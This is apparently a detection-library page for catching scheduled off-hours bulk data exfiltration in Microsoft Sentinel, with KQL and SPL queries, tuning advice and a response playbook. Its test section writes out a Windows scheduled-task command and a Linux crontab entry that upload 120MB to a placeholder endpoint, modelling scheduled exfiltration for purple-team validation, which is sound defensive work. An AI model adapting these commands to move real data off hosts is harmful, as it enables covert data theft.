Detect Scheduled Off-Hours Bulk Data Transfer in Microsoft Sentinel
Adversaries may schedule data exfiltration to occur only at specific times of day — typically off-hours, overnight, or during weekends — to blend the transfer with lower baseline traffic and reduce the likelihood of live monitoring or analyst review. This is frequently implemented via a scheduled task, cron job, or malware-internal timer that triggers a bulk upload once collected data has been staged. Detection focuses on identifying large outbound data transfers that occur outside of a host or user's established working-hours baseline, especially when correlated with a scheduled task or cron job creation shortly beforehand.
MITRE ATT&CK
- Tactic
- Exfiltration
KQL Detection Query
let WorkHoursStart = 7;
let WorkHoursEnd = 19;
// Signal 1: scheduled task or cron-like persistence created shortly before an off-hours transfer
let ScheduledTaskSignal = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("schtasks.exe", "at.exe", "crontab")
| where ProcessCommandLine has_any ("/create", "/sc", "-e")
| project TaskTime=Timestamp, DeviceName, AccountName, TaskCommandLine=ProcessCommandLine;
// Signal 2: large outbound network transfer occurring outside of working hours
let OffHoursTransfer = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where BytesSent > 104857600 // >100MB
| extend HourOfDay = datetime_part("hour", Timestamp)
| where HourOfDay < WorkHoursStart or HourOfDay >= WorkHoursEnd
| extend BytesSentMB = round(toreal(BytesSent) / 1048576, 2)
| project TransferTime=Timestamp, DeviceName, RemoteUrl, RemoteIP, BytesSentMB, InitiatingProcessFileName, InitiatingProcessCommandLine;
OffHoursTransfer
| join kind=leftouter (ScheduledTaskSignal) on DeviceName
| extend HasRecentScheduledTask = isnotempty(TaskCommandLine) and (TransferTime - TaskTime) between (0min .. 6h)
| project TransferTime, DeviceName, RemoteUrl, RemoteIP, BytesSentMB, InitiatingProcessFileName, InitiatingProcessCommandLine, HasRecentScheduledTask, TaskCommandLine
| sort by BytesSentMB desc Detects large outbound data transfers (>100MB) occurring outside of standard working hours (before 07:00 or after 19:00 local time), then enriches each transfer with whether a scheduled task or at-job was created on the same host within the preceding 6 hours — a strong indicator that the transfer was triggered by a deliberately scheduled exfiltration mechanism rather than incidental off-hours activity (e.g., a batch job or backup).
Data Sources
Required Tables
False Positives & Tuning
- Legitimate overnight backup jobs (database backups, file server replication, disaster-recovery sync) that are scheduled via Task Scheduler or cron and transfer large volumes of data by design
- Global organizations where 'off-hours' in one timezone is a normal working period for a distributed team or offshore operations center
- Scheduled ETL/data-warehouse pipelines that intentionally run overnight to avoid impacting daytime production workloads
- Software update or patch distribution systems (WSUS, SCCM, Intune) configured to push large payloads overnight
Other platforms for THREAT-Exfil-ScheduledBulkTransfer
Testing Methodology
Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Create Scheduled Task and Simulate Off-Hours Bulk Upload
Expected signal: Windows Security Event ID 4698 (Scheduled Task Created) for 'df00tech-test-sync' with the encoded PowerShell command in the task action. Sysmon Event ID 1 for the powershell.exe process launched by the Task Scheduler engine (parent: svchost.exe / taskeng.exe). DeviceNetworkEvents/Sysmon Event ID 3 showing an outbound POST of ~120MB to the test endpoint.
- Test 2Cron-Based Scheduled Exfiltration on Linux
Expected signal: Auditd or Sysmon-for-Linux process execution events for `crontab`, followed at the scheduled time by `dd` and `curl` process creation events with the destination URL in the command line. Cron execution log entry in `/var/log/cron` or `journalctl -u cron` at 23:59.
Response Playbook
Triage
- Confirm the destination of the transfer — internal backup/DR infrastructure and known cloud storage endpoints used for legitimate backups should be distinguished from unfamiliar external IPs or domains
- Identify the scheduled task or cron job responsible, if HasRecentScheduledTask is true — review its creation time, the account that created it, the command it executes, and whether it is registered in change management or IT asset documentation as an approved job
- Determine whether the host and user have an established off-hours transfer baseline (e.g., a nightly backup job that has run consistently for months) versus a newly appearing pattern within the last few days
- Review the process responsible for the transfer (InitiatingProcessFileName/CommandLine) — legitimate backup agents (Veeam, Commvault, rsync, robocopy) have recognizable names and command-line patterns distinct from custom scripts, curl/wget, or unusual interpreters (python, powershell) moving data
- Check the volume and destination against the host's typical daytime transfer patterns — a host that normally sends single-digit MB during the day but sends hundreds of MB overnight to a new destination is highly suspicious
- If a scheduled task is involved, extract its full XML definition (`schtasks /query /tn <name> /xml`) or crontab entry to review the exact command, arguments, and any encoded/obfuscated content
Containment
- Disable or delete the suspicious scheduled task/cron job immediately once confirmed unauthorized (`schtasks /change /tn <name> /disable` or comment out the crontab entry) — do not delete until forensic capture is complete
- Block outbound connectivity to the confirmed malicious destination IP/domain at the firewall or proxy
- Isolate the host via EDR (Microsoft Defender: Isolate device) if the responsible process is confirmed malicious rather than a misconfigured legitimate job
- Preserve a copy of the scheduled task definition, associated script/binary, and any staged data files before remediation, for forensic analysis
- Rotate credentials used by the scheduled task's execution account if it runs under a service account or stored credential that may have been compromised
Evidence Collection
- Windows Security Event ID 4698 (Scheduled Task Created), 4700/4701 (Task Enabled/Disabled), 4702 (Task Updated) — full audit trail of the task's lifecycle including the creating user and full task XML
- Linux: `/var/log/cron` or `/var/log/syslog` entries for crontab modifications, and `crontab -l -u <user>` for current entries; `/var/spool/cron/crontabs/` for raw crontab files
- Task Scheduler library XML: `C:\Windows\System32\Tasks\<TaskName>` — the exact action, trigger, and command executed by the task
- NetFlow/firewall logs showing the full transfer session: duration, total bytes, destination IP/ASN, and protocol used
- Process creation logs (Sysmon Event ID 1) for the process that performed the actual transfer, including its full command line and parent process chain
- File system timestamps on any staged/archived data referenced by the transfer, to establish the collection-to-exfiltration timeline
Escalation Criteria
- !The scheduled task/cron job was created very recently (within days) and is not documented in change management or IT's approved job inventory
- !The transfer destination is a newly observed external IP/domain with no prior legitimate business relationship or corresponding DNS/threat-intel reputation
- !The volume transferred substantially exceeds the host's historical baseline or represents a large fraction of a sensitive dataset (e.g., an entire customer database or source code repository)
- !The responsible process is a script interpreter (PowerShell, Python) or LOLBin rather than a recognized backup/replication agent
- !The same scheduling and off-hours transfer pattern appears on multiple hosts within a short period, suggesting a broader compromise or coordinated campaign
- !The task/job execution account has been recently modified, has elevated privileges, or does not match the principle of least privilege for its stated function
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Windows Task Scheduler library: `C:\Windows\System32\Tasks\<TaskName>` — full task definition XML including triggers, actions, and run-as account - >
Windows Registry: `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree` — task registration metadata and last-run timestamps - >
Linux: `/etc/crontab`, `/etc/cron.d/`, `/var/spool/cron/crontabs/<user>` — scheduled job definitions and their exact command lines - >
Linux: `/var/log/cron` or `journalctl -u cron` — historical execution log of cron jobs including start/stop times - >
NetFlow/IPFIX records — precise transfer volume, duration, and destination for the off-hours session - >
Backup/replication software logs (Veeam, Commvault, rsync logs) — used to distinguish a legitimate scheduled backup job's signature from an unauthorized one
Tuning Guidance
The single biggest false-positive source for this detection is legitimate overnight backup, replication, and ETL infrastructure, which by design transfers large volumes during off-hours. Before enabling alerting, inventory all approved recurring backup/replication jobs (Veeam, Commvault, database backup jobs, data-warehouse ETL pipelines) along with their expected hosts, destinations, and typical transfer volumes, and suppress or route these to a low-priority queue. For globally distributed organizations, define working-hours windows per site/region rather than a single fixed window, since 'off-hours' in one timezone may be a legitimate business day elsewhere. Prioritize alerting on the intersection of (a) a newly created scheduled task/cron job and (b) an off-hours transfer to a destination not seen in the host's 30-day baseline — this combination sharply reduces noise compared to alerting on transfer volume alone. Consider also enriching with destination reputation (newly registered domains, non-corporate cloud storage, personal file-sharing services) to further prioritize the highest-risk transfers for immediate review.
Hunting Queries
30-day baseline hunt for hosts with a recurring pattern of large (>50MB) off-hours transfers across more than 3 separate occasions — establishes which hosts have a legitimate recurring backup/replication baseline versus a newly appearing pattern worth deeper investigation.
DeviceNetworkEvents
| where Timestamp > ago(30d)
| extend HourOfDay = datetime_part("hour", Timestamp)
| where HourOfDay < 7 or HourOfDay >= 19
| where BytesSent > 52428800
| summarize TransferCount=count(), TotalMB=sum(BytesSent)/1048576, Destinations=make_set(RemoteUrl, 10) by DeviceName
| where TransferCount > 3
| sort by TotalMB desc index=network sourcetype="netflow"
| eval hour_of_day=strftime(_time, "%H")
| where (hour_of_day < 7 OR hour_of_day >= 19) AND bytes_out > 52428800
| stats count as TransferCount, sum(bytes_out)/1048576 as TotalMB, values(dest_ip) as Destinations by host
| where TransferCount > 3
| sort - TotalMB Hunt for all newly created scheduled tasks over the past 7 days across the environment, to be manually cross-referenced against the approved job inventory and correlated with any subsequent off-hours transfer activity from the same host.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("schtasks.exe", "at.exe")
| where ProcessCommandLine has "/create"
| extend HourOfDay = datetime_part("hour", ProcessCommandLine)
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc index=wineventlog sourcetype="XmlWinEventLog:Security" EventCode=4698
| table _time, host, Subject_Account_Name, Task_Name, Command
| sort - _time Atomic Red Team Tests
Simulates the two-stage pattern of scheduled exfiltration: creation of a Windows scheduled task followed by a large simulated outbound transfer, mimicking an adversary configuring a recurring off-hours exfiltration job. The transfer target should be a benign test endpoint controlled by the purple team, not a production destination.
Command
powershell.exe -Command "schtasks /create /tn 'df00tech-test-sync' /tr 'powershell.exe -Command \"$data=[byte[]]::new(120MB);(New-Object Random).NextBytes($data);Invoke-WebRequest -Uri https://your-test-endpoint.example/upload -Method POST -Body $data -ErrorAction SilentlyContinue\"' /sc once /st 23:59 /ru SYSTEM /f; schtasks /run /tn 'df00tech-test-sync'" Cleanup
powershell.exe -Command "schtasks /delete /tn 'df00tech-test-sync' /f" Expected Telemetry
Windows Security Event ID 4698 (Scheduled Task Created) for 'df00tech-test-sync' with the encoded PowerShell command in the task action. Sysmon Event ID 1 for the powershell.exe process launched by the Task Scheduler engine (parent: svchost.exe / taskeng.exe). DeviceNetworkEvents/Sysmon Event ID 3 showing an outbound POST of ~120MB to the test endpoint.
Expected Detection
KQL: OffHoursTransfer fires if the task runs outside the 07:00-19:00 window, with HasRecentScheduledTask=true since the schtasks /create event (Event ID 4698) occurred within 6 hours of the transfer. SPL: equivalent join between EventCode=4698 and the netflow transfer surfaces HasRecentScheduledTask=1.
Simulates a Linux adversary adding a cron entry that triggers a large data upload during a low-traffic overnight window, replicating a common pattern for scheduled exfiltration on Linux servers.
Command
bash -c "(crontab -l 2>/dev/null; echo '59 23 * * * dd if=/dev/urandom bs=1M count=120 | curl -s -X POST --data-binary @- https://your-test-endpoint.example/upload') | crontab -; run-parts --test /etc/cron.d 2>/dev/null; systemctl restart cron 2>/dev/null || service cron restart 2>/dev/null" Cleanup
bash -c "crontab -l | grep -v 'your-test-endpoint.example' | crontab -" Expected Telemetry
Auditd or Sysmon-for-Linux process execution events for `crontab`, followed at the scheduled time by `dd` and `curl` process creation events with the destination URL in the command line. Cron execution log entry in `/var/log/cron` or `journalctl -u cron` at 23:59.
Expected Detection
KQL/SPL: the off-hours transfer signal fires on the curl POST occurring at 23:59 (outside the working-hours window), and correlates with the crontab modification event if crontab change auditing (auditd rule on `/var/spool/cron/crontabs/`) is enabled on the host.
Related Detections
Tactic Hub
Detection Variants (3)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.
- THREAT-ArchiveStaging-ScheduledExfilScheduled Batch Exfiltration of Compressed Archive StagingUse for archive staging — rar/7z multi-volume splitting ahead of a timed transfer, typical of ransomware double-extortion.
- THREAT-CloudCLI-ScheduledExfilScheduled Transfer via Cloud Sync/Backup CLI ToolsUse for cloud CLI LOLBins — rclone, restic or azcopy launched by a scheduler rather than a human.
- THREAT-Exfiltration-LinuxCronScheduledExfilScheduled Data Exfiltration via Linux Cron JobsUse for Linux hosts — cron/systemd-timer job creation correlated with auditd execution and outbound transfer.